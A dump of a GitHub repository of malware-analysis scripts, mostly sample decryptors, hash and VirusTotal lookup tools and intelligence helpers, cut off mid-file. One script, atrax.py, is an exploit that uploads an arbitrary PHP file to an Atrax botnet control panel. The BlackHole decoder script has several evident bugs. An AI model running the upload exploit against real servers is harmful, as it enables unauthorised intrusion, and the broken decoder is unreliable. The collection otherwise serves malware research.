├── README.md ├── andromeda_ida.py ├── atrax.py ├── blackenergy.py ├── check-samples.py ├── decodeBlackHole.py ├── extract_subfile.py ├── getstatic-mini.py ├── hashlist.py ├── mg.py ├── ptotal-quick.py ├── rename-samples.py └── vti-notifications.py /README.md: -------------------------------------------------------------------------------- 1 | [![Say Thanks](https://img.shields.io/badge/Say%20Thanks-!-1EAEDB.svg?style=flat)](https://saythanks.io/to/deadbits) 2 | 3 | # malware-analysis-scripts 4 | Collection of scripts for different malware analysis tasks 5 | 6 | ## Introduction 7 | Some of these scripts are mine. Some of them are not. I have had many of these stored for a 8 | long time and I will try to make sure credit for others work is given where due, though 9 | sometimes I no longer know who the original author actually is. 10 | 11 | If you happen to see code you recognize here please let me know in a Issue so I can assign proper credit. 12 | 13 | This README will be used to keep track of the contents of this repo, what each script does and who the original authors are, if it is not myself. Each script may have it's own documentation within it as well. 14 | 15 | 16 | ## Contents 17 | Sorted by author: 18 | * getstatic.py (deadbits) 19 | * getimps.py (deadbits) 20 | * domain_registrant.py (deadbits) 21 | * gozi-c2-craft.py (deadbits) 22 | * malshare_dl.py (deadbits) 23 | * http_forge.py (deadbits) 24 | * irc_stealth.py (deadbits) 25 | * local2splunk.py (deadbits) 26 | * lookup_dns.py (deadbits) 27 | * mass_nmap.py (deadbits) 28 | * maz_slim.py (deadbits) 29 | 30 | *** 31 | * memdump.c (travis montoya) 32 | 33 | *** 34 | * blackenergy.py ([Malware.lu](http://www.malware.lu)) 35 | * bozok_config.py ([Malware.lu](http://www.malware.lu)) 36 | 37 | *** 38 | * vt-notify.rb (author unknown) 39 | * binextract.py (author unknown) 40 | * anubis.py (author unknown) 41 | * decodebhek.py (author unknown) 42 | * cifcsv.py (author unknown) 43 | * magic.py (author unknown) 44 | * match.py (author unknown) 45 | * phpdecode.py (author unknown) 46 | * xorencode.c (author unkown - maybe myself? really dont remember..) 47 | * xortools.py (author unknown) 48 | * fake_dns.py (author unknown) 49 | 50 | *** 51 | * darkcomet_config.py ([r3shl4k1sh](https://bitbucket.org/r3shl4k1sh)) 52 | 53 | *** 54 | * atrax-root.py (siph0n) 55 | 56 | *** 57 | * pescanner.py (Michael Ligh) 58 | * avsubmit.py (Michael Ligh) 59 | * db-artifacts.py (Michael Ligh) 60 | 61 | *** 62 | * backtrack.py (Alexander Hanel) 63 | * import_snapshop.py (Alexander Hanel) 64 | * vt_pyscan.py (Alexander Hanel) 65 | 66 | *** 67 | * AnalyzePE.py (hiddenillusion) 68 | * IPInfo.py (hiddenillusion) 69 | 70 | *** 71 | * Automater.py ([TekDefesene](http://www.tekDefense.com)) 72 | 73 | *** 74 | * wepewet.py (wepawet@cs.ucsb.edu) 75 | 76 | 77 | -------------------------------------------------------------------------------- /andromeda_ida.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # IDAPython script for decryption of Andromeda payloads 3 | # github.com/0xEBFE/Andromeda-payload 4 | 5 | from idaapi import * 6 | from idautils import * 7 | from aplib import decompress 8 | import binascii 9 | import struct 10 | 11 | # hardcoding sucks :) 12 | IMPORTS = { 'ntdll.dll' : ('ZwResumeThread', 'ZwQueryInformationProcess', 'ZwMapViewOfSection', 'ZwCreateSection', 'ZwClose', 'ZwUnmapViewOfSection', 'NtQueryInformationProcess', 'RtlAllocateHeap', 'RtlExitUserThread', 'RtlFreeHeap', 'RtlRandom','RtlReAllocateHeap', 'RtlSizeHeap', 'ZwQuerySection', 'RtlWalkHeap', 'NtDelayExecution'), 13 | 'kernel32.dll' : ('GetModuleFileNameW', 'GetThreadContext', 'GetWindowsDirectoryW', 'GetModuleFileNameA', 'CopyFileA', 'CreateProcessA', 'ExpandEnvironmentStringsA', 'CreateProcessW', 'CreateThread', 'CreateToolhelp32Snapshot', 'DeleteFileW','DisconnectNamedPipe', 'ExitProcess', 'ExitThread', 'ExpandEnvironmentStringsW', 'FindCloseChangeNotification', 'FindFirstChangeNotificationW,FlushInstructionCache', 'FreeLibrary', 'GetCurrentProcessId', 'GetEnvironmentVariableA', 'GetEnvironmentVariableW', 'GetExitCodeProcess', 'GetFileSize', 'GetFileTime', 'GetModuleHandleA', 'GetModuleHandleW', 'GetProcAddress', 'GetProcessHeap', 'CreateNamedPipeA', 'GetSystemDirectoryW', 'GetTickCount', 'GetVersionExA', 'GetVolumeInformationA', 'GlobalLock', 'GlobalSize', 'GlobalUnlock', 'LoadLibraryA', 'LoadLibraryW', 'LocalFree', 'MultiByteToWideChar', 'OpenProcess', 'OpenThread', 'QueueUserAPC', 'ReadFile', 'ResumeThread', 'SetCurrentDirectoryW', 'SetEnvironmentVariableA', 'SetEnvironmentVariableW', 'SetErrorMode', 'SetFileAttributesW', 'SetFileTime', 'SuspendThread', 'TerminateProcess', 'Thread32First', 'Thread32Next', 'VirtualAlloc', 'VirtualFree', 'VirtualProtect', 'VirtualQuery', 'WaitForSingleObject', 'WriteFile', 'lstrcatA', 'lstrcatW', 'lstrcmpiW', 'lstrcpyA', 'lstrcpyW', 'lstrlenA', 'lstrlenW', 'CreateFileW', 'CreateFileA', 'ConnectNamedPipe', 'CloseHandle', 'GetShortPathNameW'), 14 | 'advapi32.dll' : ('CheckTokenMembership', 'RegCloseKey', 'ConvertStringSidToSidA', 'ConvertStringSecurityDescriptorToSecurityDescriptorA', 'RegOpenKeyExA', 'RegSetValueExW', 'RegSetValueExA', 'RegSetKeySecurity', 'RegQueryValueExW', 'RegQueryValueExA', 'RegOpenKeyExW', 'RegNotifyChangeKeyValue', 'RegFlushKey', 'RegEnumValueW', 'RegEnumValueA', 'RegDeleteValueW', 'RegDeleteValueA', 'RegCreateKeyExW', 'RegCreateKeyExA'), 15 | 'ws2_32.dll' : ('connect', 'shutdown', 'WSACreateEvent', 'closesocket', 'WSAStartup', 'WSAEventSelect', 'socket', 'sendto', 'recvfrom', 'getsockname', 'gethostbyname', 'listen', 'accept', 'WSASocketA', 'bind', 'htons'), 16 | 'user32.dll' : ('wsprintfW', 'wsprintfA'), 17 | 'ole32.dll' : ('CoInitialize'), 18 | 'dnsapi.dll' : ('DnsWriteQuestionToBuffer_W', 'DnsRecordListFree', 'DnsExtractRecordsFromMessage_W')} 19 | 20 | def calc_hash(string): 21 | return binascii.crc32(string) & 0xffffffff 22 | 23 | def rc4crypt(data, key): 24 | x = 0 25 | box = bytearray(range(256)) 26 | for i in range(256): 27 | x = (x + box[i] + key[i % len(key)]) % 256 28 | box[i], box[x] = box[x], box[i] 29 | x,y = 0, 0 30 | out = bytearray() 31 | for byte in data: 32 | x = (x + 1) % 256 33 | y = (y + box[x]) % 256 34 | box[x], box[y] = box[y], box[x] 35 | out += bytearray([byte ^ box[(box[x] + box[y]) % 256]]) 36 | return out 37 | 38 | def fix_payload_relocs_and_import(segment, relocs_offset): 39 | 40 | current_offset = 0 41 | 42 | # processing relocations 43 | while True: 44 | 45 | base = Dword(segment + relocs_offset + current_offset) 46 | size = Dword(segment + relocs_offset + current_offset + 4) 47 | 48 | if (base == 0 and current_offset != 0) or size == 0: 49 | current_offset += 4 50 | break 51 | 52 | current_offset += 8 53 | 54 | size = (size - 8) // 2 55 | 56 | for i in range(size): 57 | reloc = Word(segment + relocs_offset + current_offset) 58 | 59 | if reloc & 0x3000: 60 | reloc = reloc & 0xFFF 61 | PatchDword(segment + base + reloc, Dword(segment + base + reloc) + segment) 62 | SetFixup(segment + base + reloc, idaapi.FIXUP_OFF32 or idaapi.FIXUP_CREATED, 0, Dword(segment + base + reloc) + segment, 0) 63 | 64 | current_offset += 2 65 | 66 | # processing imports 67 | while True: 68 | 69 | module_hash = Dword(segment + relocs_offset + current_offset) 70 | import_offset = Dword(segment + relocs_offset + current_offset + 4) 71 | current_offset += 8 72 | 73 | if module_hash == 0 or import_offset == 0: 74 | break 75 | 76 | module = None 77 | for library in iter(IMPORTS): 78 | if module_hash == calc_hash(library.lower()): 79 | module = library 80 | 81 | while True: 82 | func_hash = Dword(segment + relocs_offset + current_offset) 83 | current_offset += 4 84 | if func_hash == 0: 85 | break 86 | 87 | if module is not None: 88 | for function in iter(IMPORTS[module]): 89 | if func_hash == calc_hash(function): 90 | MakeDword(segment + import_offset) 91 | MakeName(segment + import_offset, SegName(segment) + '_' + module.split('.')[0] + '_' + function) 92 | else: 93 | print('Import not found: module = 0x{0:08X}, function = 0x{1:08X}'.format(module_hash, func_hash)) 94 | 95 | import_offset += 4 96 | 97 | return 98 | 99 | def decrypt_payload(encrypted_addr, rc4key, encrypted_size, unpacked_size, entry_point, relocs, relocs_size): 100 | 101 | buffer = bytearray(encrypted_size) 102 | 103 | for i in range(len(buffer)): 104 | buffer[i] = Byte(encrypted_addr + i) 105 | 106 | decrypted = rc4crypt(buffer, rc4key) 107 | 108 | unpacked = decompress(str(decrypted)).do() 109 | 110 | # checking for free segment address 111 | seg_start = 0x10000000 112 | while SegName(seg_start) != '': 113 | seg_start += 0x10000000 114 | 115 | AddSeg(seg_start, seg_start + unpacked_size, 0, 1, idaapi.saRelPara, idaapi.scPub) 116 | 117 | # copying data to new segment 118 | data = unpacked[0] 119 | for i in range(len(data)): 120 | PatchByte(seg_start + i, ord(data[i])) 121 | 122 | fix_payload_relocs_and_import(seg_start, relocs) 123 | MakeFunction(seg_start + entry_point) 124 | 125 | return 126 | 127 | def main(): 128 | 129 | payload_addr = AskAddr(ScreenEA(), "Enter address of andromeda payload") 130 | 131 | if payload_addr != idaapi.BADADDR and payload_addr is not None: 132 | payload = bytearray(0x28) 133 | for i in range(len(payload)): 134 | payload[i] = Byte(payload_addr + i) 135 | 136 | dwords = struct.unpack_from(' 11 | payload = '
' 12 | url = 'http://localhost/atrax/' 13 | # 14 | 15 | BOT_MODE_INSERT = 'b' # BOT MODE 16 | BOT_MODE_RUNPLUGIN = 'e' 17 | GET_PARAM_MODE = 'a' # GET PARAM 18 | POST_PARAM_GUID = 'h' # POST PARAM 19 | POST_PARAM_IP = 'i' 20 | POST_PARAM_BUILDID = 'j' 21 | POST_PARAM_PC = 'k' 22 | POST_PARAM_OS = 'l' 23 | POST_PARAM_ADMIN = 'm' 24 | POST_PARAM_CPU = 'n' 25 | POST_PARAM_GPU = 'o' 26 | POST_PARAM_PLUGINNAME = 'q' 27 | 28 | def request(url, get, post): 29 | if not get == '': 30 | url += '?' + get 31 | encoded = {} 32 | if not post == '': 33 | for _ in post.split('&'): 34 | data = _.split('=') 35 | encoded[data[0]] = data[1] 36 | encoded = urllib.urlencode(encoded) 37 | request = urllib2.Request(url, encoded) 38 | response = urllib2.urlopen(request) 39 | page = response.read() 40 | return page 41 | 42 | def queryValue(key, value, next=True): 43 | ret = key + '=' + value 44 | if next: 45 | ret += '&' 46 | return ret 47 | 48 | def randomString(length = 8): 49 | return ''.join(random.choice(string.ascii_lowercase + string.digits) for i in range(length)) 50 | 51 | def createVictim(url, guid, ip): 52 | get = queryValue(GET_PARAM_MODE, BOT_MODE_INSERT, False) 53 | post = queryValue(POST_PARAM_GUID, guid) 54 | post += queryValue(POST_PARAM_IP, ip) 55 | post += queryValue(POST_PARAM_BUILDID, randomString()) 56 | post += queryValue(POST_PARAM_PC, randomString()) 57 | post += queryValue(POST_PARAM_OS, randomString()) 58 | post += queryValue(POST_PARAM_ADMIN, 'yes') 59 | post += queryValue(POST_PARAM_CPU, randomString()) 60 | post += queryValue(POST_PARAM_GPU, randomString(), False) 61 | return request(url + 'auth.php', get, post) 62 | 63 | def exploit(url, guid, ip, file, payload): 64 | get = queryValue(GET_PARAM_MODE, BOT_MODE_RUNPLUGIN, False) 65 | post = queryValue(POST_PARAM_PLUGINNAME, 'atraxstealer') 66 | post += queryValue(POST_PARAM_GUID, guid) 67 | post += queryValue(POST_PARAM_IP, ip) 68 | post += queryValue('am', randomString()) 69 | post += queryValue('ad', file) 70 | post += queryValue('ab', base64.b64encode(payload)) 71 | post += queryValue('ai', '18', False) 72 | request(url + 'auth.php', get, post) 73 | 74 | def testExploit(url, guid, ip): 75 | file = randomString() + '.php' 76 | payload = '' 77 | exploit(url, guid, ip, file, payload) 78 | return request(url + 'plugins/atraxstealer/wallet/' + file, '', '').strip() == '1337' 79 | 80 | guid = '7461707a7461707a7461707a7461707a' 81 | ip = '91.224.13.103' 82 | file = randomString() + '.php' 83 | if createVictim(url, guid, ip).strip() == 'STOP': 84 | print '[-] Cannot create victim...' 85 | else: 86 | print '[~] Victim created/updated...' 87 | if testExploit(url, guid, ip): 88 | exploit(url, guid, ip, file, payload) 89 | print '[+] Exploit uploaded!' 90 | print '=> ' + url + 'plugins/atraxstealer/wallet/' + file 91 | else: 92 | print '[-] Cannot upload payload, maybe the plugin is not actived?' 93 | 94 | 95 | 96 | # siph0n [2014-11-26] 97 | -------------------------------------------------------------------------------- /blackenergy.py: -------------------------------------------------------------------------------- 1 | # Malware.lu 2 | # https://github.com/MalwareLu/config_extractor/ 3 | import sys 4 | import string 5 | 6 | def arc4(key, data): 7 | x = 0 8 | box = range(256) 9 | for i in range(256): 10 | box[i] = (box[i] ^ ord(key[i % len(key)])) % 256 11 | 12 | x = y = 0 13 | out = [] 14 | for char in data: 15 | x = (x + 1) % 256 16 | y = (y + box[x]) % 256 17 | box[x], box[y] = box[y], box[x] 18 | out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256])) 19 | 20 | return ''.join(out) 21 | 22 | if __name__ == "__main__": 23 | fp = open(sys.argv[1]) 24 | fp.seek(0x10) 25 | key = fp.read(0x10) 26 | data = fp.read() 27 | data = arc4(key, data) 28 | sys.stdout.write(data) 29 | -------------------------------------------------------------------------------- /check-samples.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## 3 | # check directory of files or single file against VirusTotal 4 | # requires public VT API key 5 | # 6 | # - will provide pretty-ish JSON results (minus 'scan' field for found hashes) 7 | # - optionally ignore non-discovered files 8 | # 9 | # author: adam m. swanda 10 | # https://github.com/deadbits/malware-analysis-scripts 11 | ## 12 | 13 | import json 14 | import requests 15 | import argparse 16 | import hashlib 17 | import os 18 | import sys 19 | 20 | 21 | def get_report(md5, f): 22 | params = {'resource': md5, 'apikey': api_key} 23 | url = 'https://www.virustotal.com/vtapi/v2/file/report' 24 | try: 25 | req = requests.get(url, params=params) 26 | json_data = req.json() 27 | if json_data['response_code'] == 1: 28 | del json_data['scans'] 29 | return json_data 30 | except: 31 | pass 32 | return None 33 | 34 | 35 | def display_report(md5, file_name): 36 | res = get_report(md5, file_name) 37 | if res is not None: 38 | print '\n' 39 | print '[ %s ]' % file_name 40 | print json.dumps(res, indent=4) 41 | else: 42 | if not ignore: 43 | print 'not found: %s (%s)' % (file_name, md5) 44 | 45 | 46 | def get_md5(file_name): 47 | fin = open(file_name, 'rb') 48 | m = hashlib.md5() 49 | while True: 50 | data = fin.read(16384) 51 | if not data: 52 | break 53 | m.update(data) 54 | return m.hexdigest() 55 | 56 | 57 | if __name__ == '__main__': 58 | parser = argparse.ArgumentParser(description='simple check to determine if the files in a directory exist in VirusTotal') 59 | parser.add_argument('-a', '--apikey', help='virustotal public api key', 60 | action='store', required=True) 61 | parser.add_argument('-d', '--directory', help='absolute path to directory of samples', 62 | action='store', required=False) 63 | parser.add_argument('-f', '--file', help='absolute path to single sample', 64 | action='store', required=False) 65 | parser.add_argument('-i', '--ignore', help='ignore files that are not found', 66 | action='store_true', required=False, 67 | default=True) 68 | args = parser.parse_args() 69 | 70 | api_key = args.apikey 71 | ignore = args.ignore 72 | 73 | if not args.file and not args.directory: 74 | print 'error: must specify --file or --directory' 75 | sys.exit(1) 76 | 77 | if args.directory and not os.path.exists(args.directory): 78 | print 'error: directory %s not found' % args.directory 79 | sys.exit(1) 80 | 81 | if args.file and not os.path.exists(args.file): 82 | print 'error: file %s not found' % args.file 83 | sys.exit(1) 84 | 85 | 86 | if args.directory: 87 | hash_queue = {} 88 | print 'reading contents of %s' % args.directory 89 | all_files = os.listdir(args.directory) 90 | for f in all_files: 91 | if not os.path.isdir(args.directory + '/' + f): 92 | display_report(get_md5(args.directory + '/' + f), f) 93 | else: 94 | pass 95 | 96 | elif args.file: 97 | display_report(get_md5(args.file), args.file) 98 | -------------------------------------------------------------------------------- /decodeBlackHole.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## 3 | # Decodes obfuscated BlackHole Exploit Kit javascript 4 | # useful for the plugin detection and exploitation pages 5 | ## 6 | 7 | import re 8 | import os, sys 9 | from StringIO import StringIO 10 | 11 | 12 | def decode(file_name): 13 | fin = open(file_name, "r") 14 | stage_one = fin.read() 15 | vars = re.compile(r'\".+?\"', re.S) 16 | bhPat = re.compile(r'[^012a-z3-9]',re.S) 17 | stage_two = re.search(regex, stage_one) 18 | parsed = stage_two.group(0) 19 | o = '' 20 | for x in re.findinter(vars, stage_two.group(0)): 21 | o = o + x.group(0)[1:-1] 22 | o2nd = bhPat.sub( '', o) 23 | o2nd = StringIO(o2nd) 24 | stage_three = '' 25 | while True: 26 | a = o2nd.read(2) 27 | if not s: 28 | break 29 | stage_three = stage_three + chr(int(a,33)) 30 | 31 | outf = open("out.html", 'w') 32 | outf.write(stage_three) 33 | out.close() 34 | 35 | if __name__ == '__main__': 36 | try: 37 | fin = sys.argv[1] 38 | if not os.path.exists(fin): 39 | print('[error] unable to locate input file!') 40 | sys.exit(1) 41 | decode(fin) 42 | except IndexError: 43 | print('usage: ./decode_bhek.py ') 44 | sys.exit(0) 45 | -------------------------------------------------------------------------------- /extract_subfile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## 3 | # hachoir-subfile helper 4 | # find and extract subfiles with hachoir and dd 5 | # https://github.com/deadbits 6 | ## 7 | import os 8 | import sys 9 | import commands 10 | 11 | 12 | def hachoir(file_name): 13 | offset = None 14 | limit = None 15 | 16 | out = commands.getoutput('hachoir-subfile %s' % file_name) 17 | 18 | for line in out.splitlines(): 19 | if '[+] File at' in line and '[+] File at 0 size' not in line: 20 | offset = line.split('at ')[1].split(' size')[0] 21 | size = line.split('size=')[1].split(' (')[0] 22 | limit = offset + size 23 | 24 | return (offset, limit) 25 | 26 | 27 | def dd(offset, limit, file_name): 28 | out = commands.getoutput('dd bs=1 skip=%s count=%s if=%s of=%s-dump' % (offset, limit, file_name, file_name)) 29 | print out 30 | 31 | 32 | if __name__ == '__main__': 33 | try: 34 | file_name = sys.argv[1] 35 | except IndexError: 36 | print('usage: extract-subfile.py ') 37 | sys.exit(0) 38 | 39 | offset, limit = hachoir(file_name) 40 | 41 | if offset is not None and limit is not None: 42 | dd(offset, limit, file_name) 43 | -------------------------------------------------------------------------------- /getstatic-mini.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## 3 | # getstatic-mini.py 4 | # github.com/deadbits 5 | # very stripped down version of getstatic.py 6 | # quickly display basic file information for a single sample or 7 | # a directory of samples. written to display data in the format 8 | # i use for reports so i can just run this, copy-pasta, woooo. 9 | # 10 | # displays: 11 | # name, md5, sha1, sha256, type, size, ssdeep, 12 | # arch, entry point, compile time, start address 13 | # optionally run hachoir-subfile against the files 14 | ## 15 | 16 | import os 17 | import sys 18 | import hashlib 19 | import commands 20 | import datetime 21 | import platform 22 | import argparse 23 | 24 | try: 25 | from ordereddict import OrderedDict 26 | except ImportError: 27 | print 'error: python library ordereddict is required\nrun `pip install ordereddict` to install.' 28 | sys.exit(1) 29 | 30 | try: 31 | import pefile 32 | except ImportError: 33 | print 'error: python library pefile is required\nrun `pip install pefile` to install.' 34 | sys.exit(1) 35 | 36 | 37 | def check_subfile(file_name): 38 | out = commands.getoutput('hachoir-subfile %s' % file_name) 39 | if len(out.splitlines()) > 5: 40 | for l in out.splitlines(): 41 | if 'File at' in l: 42 | if not 'File at 0 size=' in l: 43 | print l 44 | 45 | 46 | def get_ssdeep(file_name): 47 | try: 48 | from ssdeep import ssdeep 49 | ss = ssdeep() 50 | return ss.hash_file(file_name) 51 | except ImportError: 52 | try: 53 | import ssdeep 54 | return ssdeep.hash_from_file(file_name) 55 | except ImportError: 56 | print 'error: no library `ssdeep` available for import! this feature will not be available.' 57 | return None 58 | 59 | 60 | def grep_saddress(file_name): 61 | out = commands.getoutput('%s -x %s | grep "start address"' % (objdump, file_name)) 62 | if out != '\n': 63 | try: 64 | sa = out.split('start address')[1] 65 | except IndexError: 66 | return None 67 | return sa 68 | return None 69 | 70 | 71 | def get_hash(f, hash_type): 72 | fin = open(f, 'rb') 73 | if hash_type == 'md5': 74 | m = hashlib.md5() 75 | elif hash_type == 'sha1': 76 | m = hashlib.sha1() 77 | elif hash_type == 'sha256': 78 | m = hashlib.sha256() 79 | while True: 80 | data = fin.read(8192) 81 | if not data: 82 | break 83 | m.update(data) 84 | return m.hexdigest() 85 | 86 | 87 | def scan_file(file_name, subfile): 88 | # start analysis with basic info 89 | try: 90 | pe = pefile.PE(file_name) 91 | machine = pe.FILE_HEADER.Machine 92 | except Exception as err: 93 | print '[warn] file is not a PE. skipping some checks: %s' % err 94 | pe = False 95 | pass 96 | 97 | all_results = OrderedDict( 98 | [ 99 | ('MD5', get_hash(file_name, 'md5')), 100 | ('SHA1', get_hash(file_name, 'sha1')), 101 | ('SHA256', get_hash(file_name, 'sha256')), 102 | ('Type', commands.getoutput('file %s' % file_name).split(file_name + ': ')[1]), 103 | ('Size', (os.path.getsize(file_name))/1000), 104 | ('SSDeep', get_ssdeep(file_name)), 105 | #('ImpHash', pe.get_imphash()), 106 | ('Arch', pefile.MACHINE_TYPE[machine] if pe is not False else 'NA'), 107 | ('Entry Point', hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint) if pe is not False else 'NA'), 108 | ('Compiled', datetime.datetime.fromtimestamp(pe.FILE_HEADER.TimeDateStamp) if pe is not False else 'NA'), 109 | ('Start Address', grep_saddress(file_name) if pe is not False else 'NA') 110 | ] 111 | ) 112 | 113 | print '\n[ %s ]' % file_name 114 | for key, value in all_results.iteritems(): 115 | if key == 'Compiled' or key == 'Entry Point' or key == 'Start Address': 116 | print '%s:\t\t%s' % (key, value) 117 | else: 118 | print '%s:\t\t\t%s' % (key, value) 119 | 120 | if subfile: 121 | print '\n' 122 | check_subfile(file_name) 123 | 124 | if __name__ == '__main__': 125 | parser = argparse.ArgumentParser(description='perform static analysis against an individual sample or an entire directory') 126 | parser.add_argument('-f', '--file', help='individual file to scan') 127 | parser.add_argument('-d', '--dir', help='scan every file in this directory') 128 | parser.add_argument('-s', '--subfile', help='run hachoir-subfile', action='store_true', default=False) 129 | args = parser.parse_args() 130 | 131 | if platform.system() == 'Darwin': 132 | objdump = 'gobjdump' 133 | elif platform.system() == 'Linux': 134 | objdump = 'objdump' 135 | else: 136 | print 'error: sorry. blame Windows.' 137 | sys.exit(1) 138 | 139 | if args.dir: 140 | if args.file: 141 | print 'the flags --file and --dir may not be used together.\nwhy would you even try that?' 142 | sys.exit(1) 143 | 144 | if not os.path.isdir(args.dir): 145 | print '[error] --dir input is not a valid directory' 146 | sys.exit(1) 147 | 148 | dir_name = (args.dir).rstrip('/') 149 | expanded = os.listdir(dir_name) 150 | 151 | for path in expanded: 152 | full_path = dir_name + '/' + path 153 | scan_file(full_path, subfile=args.subfile) 154 | 155 | if args.file: 156 | if not os.path.isfile(args.file): 157 | print '[error] --file input is not a valid file path' 158 | sys.exit(1) 159 | 160 | file_name = args.file 161 | scan_file(file_name, subfile=args.subfile) 162 | -------------------------------------------------------------------------------- /hashlist.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## 3 | # directory tree containing file names and hashes 4 | # github.com/deadbits 5 | ## 6 | import sys 7 | import os 8 | import hashlib 9 | 10 | 11 | def is_valid(file_path): 12 | if os.path.exists(file_path): 13 | if os.path.isfile(file_path): 14 | if os.path.getsize(file_path) > 0: 15 | return True 16 | return False 17 | 18 | 19 | def get_hash(f, hash_type): 20 | fin = open(f, 'rb') 21 | if hash_type == 'md5': 22 | m = hashlib.md5() 23 | elif hash_type == 'sha1': 24 | m = hashlib.sha1() 25 | while True: 26 | data = fin.read(8192) 27 | if not data: 28 | break 29 | m.update(data) 30 | return m.hexdigest() 31 | 32 | 33 | if __name__ == '__main__': 34 | try: 35 | root_dir = sys.argv[1] 36 | if not os.path.exists(root_dir): 37 | print 'error: path %s does not exist' % root_dir 38 | sys.exit(1) 39 | if os.path.isfile(root_dir): 40 | print 'error: %s is not a directory' % root_dir 41 | sys.exit(1) 42 | except IndexError: 43 | print 'usage: ./hashdeep.py ' 44 | sys.exit(0) 45 | 46 | # http://stackoverflow.com/questions/9727673/list-directory-tree-structure-using-python 47 | for root, dirs, files in os.walk(root_dir): 48 | level = root.replace(root_dir, '').count(os.sep) 49 | indent = ' ' * 4 * (level) 50 | print '%s%s/' % (indent, os.path.basename(root)) 51 | subindent = ' ' * 4 * (level + 1) 52 | for fpath in [os.path.join(root, f) for f in files]: 53 | md5 = get_hash(fpath, 'md5') 54 | name = os.path.relpath(fpath, root_dir) 55 | print '%s%s\n%sMD5: %s\n' % (subindent, name, subindent, md5) 56 | 57 | -------------------------------------------------------------------------------- /mg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # https://github.com/deadbits 3 | # 4 | # download sample from malshare.com and get basic sample info. 5 | # requires a malshare API key. 6 | # 7 | # 8 | # $ python mg.py -k -s a9078feebc3d689d91e1f170add899c5 --analyze 9 | # + attempting to download sample ... 10 | # saved sample to /Users/aswanda/Desktop/a9078feebc3d689d91e1f170add899c5 11 | # 12 | # 13 | # md5 a9078feebc3d689d91e1f170add899c5 14 | # sha1 500ff94608d2e7b7303b4d293ee45a94db819411 15 | # size 578632 16 | # ssdeep 12288:iRefc/d1X0TM60o+F91uGcsdM4AbKG7ec/Hdch+2OsRc:iRefe0Td0Z/PDCKaeCIxi 17 | # type PE32 executable for MS Windows (GUI) Intel 80386 32-bit 18 | # 19 | 20 | import os, sys 21 | import pefile 22 | import hashlib 23 | import requests 24 | import argparse 25 | import ssdeep 26 | 27 | from commands import getoutput 28 | 29 | 30 | def get_filesize(filepath): 31 | fin = open(filepath, 'rb') 32 | data = fin.read() 33 | fin.close() 34 | return len(data) 35 | 36 | 37 | def download(hash, api_key): 38 | try: 39 | malshare_url = 'http://api.malshare.com/sampleshare.php' 40 | data = {'action': 'getfile', 'api_key': api_key, 'hash': hash} 41 | req = requests.get(malshare_url, params=data) 42 | except: 43 | print 'error: problem making http request!'; sys.exit(1) 44 | if req.content == 'Sample not found': 45 | print 'error: sample %s not found!' % hash ; sys.exit(1) 46 | elif req.content == 'ERROR! => Account not activated': 47 | print 'error: invalid API key!'; sys.exit(1) 48 | else: 49 | if os.path.exists(hash): 50 | print 'error: local file ./%s already exists!' % hash; sys.exit(1) 51 | fout = open(hash, 'wb') 52 | fout.write(req.content) 53 | fout.close() 54 | print ' saved sample to %s' % (str(os.getcwd() + '/' + hash)) 55 | 56 | 57 | def get_info(filepath): 58 | result = {} 59 | result['size'] = get_filesize(filepath) 60 | result['md5'] = hashlib.md5(open(filepath, 'rb').read()).hexdigest() 61 | result['sha1'] = hashlib.sha1(open(filepath, 'rb').read()).hexdigest() 62 | result['ssdeep'] = ssdeep.hash_from_file(filepath) 63 | result['type'] = (getoutput('file %s' % filepath).split('%s: ' % filepath)[1]) 64 | return result 65 | 66 | 67 | if __name__ == '__main__': 68 | parser = argparse.ArgumentParser() 69 | parser.add_argument('-k', '--key', help='Malshare API Key', required=True) 70 | parser.add_argument('-s', '--sample', help='Search / Download Hash', required=True) 71 | parser.add_argument('-a', '--analyze', help='Show sample info after download', action='store_true') 72 | args = parser.parse_args() 73 | api_key = args.key 74 | sample = args.sample 75 | 76 | print '+ attempting to download sample ...' % sample 77 | download(args.sample, api_key) 78 | 79 | if args.analyze: 80 | info = get_info(sample) 81 | print '\n' 82 | for key, value in sorted(info.iteritems()): 83 | print '%s\t%s' % (key, value) 84 | 85 | 86 | -------------------------------------------------------------------------------- /ptotal-quick.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## 3 | # print basic passivetotal results for a list of domains/IPs 4 | # first seen, last seen, resolutions 5 | # requires PassiveTotal API key 6 | # -- 7 | # adam m. swanda 8 | # https://github.com/deadbits/malware-analysis-scripts 9 | # http://www.deadbits.org 10 | ## 11 | 12 | import os 13 | import sys 14 | import argparse 15 | 16 | from passivetotal import PassiveTotal 17 | 18 | 19 | def read_list(file_name): 20 | data = [ line.strip() for line in open(file_name, 'rb') ] 21 | return data 22 | 23 | 24 | if __name__ == '__main__': 25 | parser = argparse.ArgumentParser() 26 | parser.add_argument('-l', '--list', help='list of indicators to check in PassiveTotal', action='store', required=True) 27 | parser.add_argument('-a', '--apikey', help='PassiveTotal API key', action='store', required=True) 28 | args = parser.parse_args() 29 | 30 | if not os.path.exists(args.list): 31 | print 'error: file %s not found' % args.list 32 | sys.exit(1) 33 | 34 | iocs = read_list(args.list) 35 | print 'Domains:\t%d\n' % len(iocs) 36 | 37 | pt = PassiveTotal(args.apikey) 38 | 39 | for host in iocs: 40 | resp = pt.get_passive(host) 41 | if resp['success']: 42 | print 'First:\t%s' % resp['results']['first_seen'] 43 | print 'Last: \t%s' % resp['results']['last_seen'] 44 | print 'Hosts:\n' 45 | r = resp['results'] 46 | for d in r['records']: 47 | print "\t%s" % d['resolve'] 48 | 49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /rename-samples.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## 3 | # rename-samples.py 4 | # github.com/deadbits 5 | # 6 | # rename malware samples by abbreviated file type and md5 hash. 7 | # specify a directory to store samples. by default a dir using the 8 | # current timestamp will be used. 9 | # 10 | # this script is by no means perfect and definitely doesnt always 11 | # accurately rename the file abbreviation, but i am too lazy to figure 12 | # out why. its good enough for what i use it for :D 13 